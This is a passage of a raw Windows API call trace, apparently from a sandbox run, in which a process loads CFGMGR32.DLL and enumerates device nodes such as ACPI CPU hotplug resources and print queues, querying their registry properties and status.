lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4ca351b5, dwHighDateTime=0x1d9eb0c)) [0180.836] SetEvent (hEvent=0x248) returned 1 [0180.906] free (_Block=0x196ef0ccda0) [0180.907] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x9, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0180.907] malloc (_Size=0x48) returned 0x196ef0cd160 [0180.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.907] SetEvent (hEvent=0x248) returned 1 [0180.910] SetEvent (hEvent=0x248) returned 1 [0180.911] free (_Block=0x196ef0cd160) [0180.911] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0180.911] malloc (_Size=0x48) returned 0x196ef0ccda0 [0180.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4caf3cb1, dwHighDateTime=0x1d9eb0c)) [0180.911] SetEvent (hEvent=0x248) returned 1 [0180.915] SetEvent (hEvent=0x248) returned 1 [0180.916] free (_Block=0x196ef0ccda0) [0180.916] CM_Get_Device_IDA (in: dnDevInst=0xa, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\CPU_HOTPLUG_RESOURCES") returned 0x0 [0180.917] malloc (_Size=0x48) returned 0x196ef0ccda0 [0180.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.917] SetEvent (hEvent=0x248) returned 1 [0180.922] SetEvent (hEvent=0x248) returned 1 [0180.924] free (_Block=0x196ef0ccda0) [0180.924] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0180.924] malloc (_Size=0x5a) returned 0x196ef0d0370 [0180.924] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0180.925] free (_Block=0x196ef0d0370) [0180.925] malloc (_Size=0x48) returned 0x196ef0cc850 [0180.925] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4cb19ea6, dwHighDateTime=0x1d9eb0c)) [0180.925] SetEvent (hEvent=0x248) returned 1 [0180.927] malloc (_Size=0x18) returned 0x196ef0d1c40 [0180.927] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0180.927] free (_Block=0x196ef0d1c40) [0180.927] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0180.927] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ef1f26a8) returned 0x0 [0180.927] free (_Block=0x196ef0d1bc0) [0180.927] malloc (_Size=0x18) returned 0x196ef0d1e80 [0180.927] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0180.927] free (_Block=0x196ef0d1e80) [0180.928] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856560 [0180.928] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0180.928] SafeArrayGetLBound (in: psa=0x196ef1f2230, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0180.928] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0180.928] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b64a0 [0180.928] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0180.928] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0180.928] SafeArrayGetElemsize (psa=0x196ef1f2230) returned 0x8 [0180.928] SafeArrayGetElement (in: psa=0x196ef1f2230, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0180.929] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.929] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.929] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0180.930] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b64a0) returned 1 [0180.931] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856560) returned 1 [0180.931] SetEvent (hEvent=0x248) returned 1 [0180.932] free (_Block=0x196ef0cc850) [0180.932] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0180.936] malloc (_Size=0x48) returned 0x196ef0ccda0 [0180.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4cb40080, dwHighDateTime=0x1d9eb0c)) [0180.936] SetEvent (hEvent=0x248) returned 1 [0180.937] SetEvent (hEvent=0x248) returned 1 [0180.938] free (_Block=0x196ef0ccda0) [0180.938] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.966] malloc (_Size=0x48) returned 0x196ef0cc850 [0180.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cb8c644, dwHighDateTime=0x1d9eb0c)) [0180.967] SetEvent (hEvent=0x248) returned 1 [0180.969] SetEvent (hEvent=0x248) returned 1 [0180.970] free (_Block=0x196ef0cc850) [0180.970] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.970] malloc (_Size=0x48) returned 0x196ef0cd160 [0180.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cb8c644, dwHighDateTime=0x1d9eb0c)) [0180.971] SetEvent (hEvent=0x248) returned 1 [0180.973] SetEvent (hEvent=0x248) returned 1 [0180.973] free (_Block=0x196ef0cd160) [0180.973] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0180.975] malloc (_Size=0x48) returned 0x196ef0cc850 [0180.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cb8c644, dwHighDateTime=0x1d9eb0c)) [0180.975] SetEvent (hEvent=0x248) returned 1 [0180.977] SetEvent (hEvent=0x248) returned 1 [0180.977] free (_Block=0x196ef0cc850) [0180.978] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0180.978] malloc (_Size=0x48) returned 0x196ef0cc850 [0180.978] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cb8c644, dwHighDateTime=0x1d9eb0c)) [0180.978] SetEvent (hEvent=0x248) returned 1 [0181.048] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.048] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.051] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.051] malloc (_Size=0x18) returned 0x196ef0d1d00 [0181.051] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.054] malloc (_Size=0x48) returned 0x196ef0cd160 [0181.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cc4b13f, dwHighDateTime=0x1d9eb0c)) [0181.055] SetEvent (hEvent=0x248) returned 1 [0181.056] SetEvent (hEvent=0x248) returned 1 [0181.057] free (_Block=0x196ef0cd160) [0181.060] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xa, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0181.060] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.060] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.060] SetEvent (hEvent=0x248) returned 1 [0181.063] SetEvent (hEvent=0x248) returned 1 [0181.064] free (_Block=0x196ef0ccda0) [0181.065] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xa, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0181.066] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.066] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4cc719eb, dwHighDateTime=0x1d9eb0c)) [0181.066] SetEvent (hEvent=0x248) returned 1 [0181.071] SetEvent (hEvent=0x248) returned 1 [0181.073] free (_Block=0x196ef0cc850) [0181.080] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0181.081] malloc (_Size=0x48) returned 0x196ef0cd160 [0181.081] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cc97948, dwHighDateTime=0x1d9eb0c)) [0181.082] SetEvent (hEvent=0x248) returned 1 [0181.088] SetEvent (hEvent=0x248) returned 1 [0181.095] free (_Block=0x196ef0cd160) [0181.096] CM_Get_Device_IDA (in: dnDevInst=0xb, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\PRINTQUEUES") returned 0x0 [0181.096] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.096] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4ccbda32, dwHighDateTime=0x1d9eb0c)) [0181.096] SetEvent (hEvent=0x248) returned 1 [0181.098] SetEvent (hEvent=0x248) returned 1 [0181.100] free (_Block=0x196ef0ccda0) [0181.100] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0181.100] malloc (_Size=0x36) returned 0x196ef0d1550 [0181.100] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1550, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1550, pulLength=0x67117d608) returned 0x0 [0181.101] free (_Block=0x196ef0d1550) [0181.101] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4ccbda32, dwHighDateTime=0x1d9eb0c)) [0181.101] SetEvent (hEvent=0x248) returned 1 [0181.157] malloc (_Size=0x18) returned 0x196ef0d1960 [0181.157] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee7777a8) returned 0x0 [0181.157] free (_Block=0x196ef0d1960) [0181.157] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0181.157] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0181.157] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0181.157] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0181.157] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b61a0 [0181.157] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0181.157] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0181.157] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0181.158] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0181.158] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225bf0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.159] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b61a0) returned 1 [0181.159] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0181.159] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.159] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.163] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.163] malloc (_Size=0x18) returned 0x196ef0d20a0 [0181.163] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0181.163] malloc (_Size=0x38) returned 0x196ef0d0950 [0181.163] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0950, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0950, pulLength=0x67117d608) returned 0x0 [0181.164] free (_Block=0x196ef0d0950) [0181.164] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4cd56321, dwHighDateTime=0x1d9eb0c)) [0181.164] SetEvent (hEvent=0x248) returned 1 [0181.165] malloc (_Size=0x18) returned 0x196ef0d1c40 [0181.166] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ef1f26a8) returned 0x0 [0181.166] free (_Block=0x196ef0d1c40) [0181.166] malloc (_Size=0x18) returned 0x196ef0d2020 [0181.166] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0181.166] free (_Block=0x196ef0d2020) [0181.166] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855c60 [0181.166] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0181.166] SafeArrayGetLBound (in: psa=0x196ef1f2830, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0181.166] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0181.166] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b5ff0 [0181.166] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0181.166] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0181.166] SafeArrayGetElemsize (psa=0x196ef1f2830) returned 0x8 [0181.167] SafeArrayGetElement (in: psa=0x196ef1f2830, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0181.167] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.168] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.170] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b5ff0) returned 1 [0181.171] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855c60) returned 1 [0181.171] SetEvent (hEvent=0x248) returned 1 [0181.172] free (_Block=0x196ef0ccda0) [0181.172] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.182] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cd7c4b3, dwHighDateTime=0x1d9eb0c)) [0181.182] SetEvent (hEvent=0x248) returned 1 [0181.183] SetEvent (hEvent=0x248) returned 1 [0181.184] free (_Block=0x196ef0ccda0) [0181.184] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.184] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cda26bb, dwHighDateTime=0x1d9eb0c)) [0181.184] SetEvent (hEvent=0x248) returned 1 [0181.185] SetEvent (hEvent=0x248) returned 1 [0181.186] free (_Block=0x196ef0ccda0) [0181.186] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.186] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.186] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cda26bb, dwHighDateTime=0x1d9eb0c)) [0181.187] SetEvent (hEvent=0x248) returned 1 [0181.187] SetEvent (hEvent=0x248) returned 1 [0181.188] free (_Block=0x196ef0ccda0) [0181.188] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0181.188] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cda26bb, dwHighDateTime=0x1d9eb0c)) [0181.189] SetEvent (hEvent=0x248) returned 1 [0181.192] SetEvent (hEvent=0x248) returned 1 [0181.193] free (_Block=0x196ef0ccda0) [0181.193] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.195] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4cda26bb, dwHighDateTime=0x1d9eb0c)) [0181.196] SetEvent (hEvent=0x248) returned 1 [0181.197] SetEvent (hEvent=0x248) returned 1 [0181.197] free (_Block=0x196ef0ccda0) [0181.197] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xb, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0181.198] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4cda26bb, dwHighDateTime=0x1d9eb0c)) [0181.198] SetEvent (hEvent=0x248) returned 1 [0181.274] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.274] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.274] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.275] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.275] 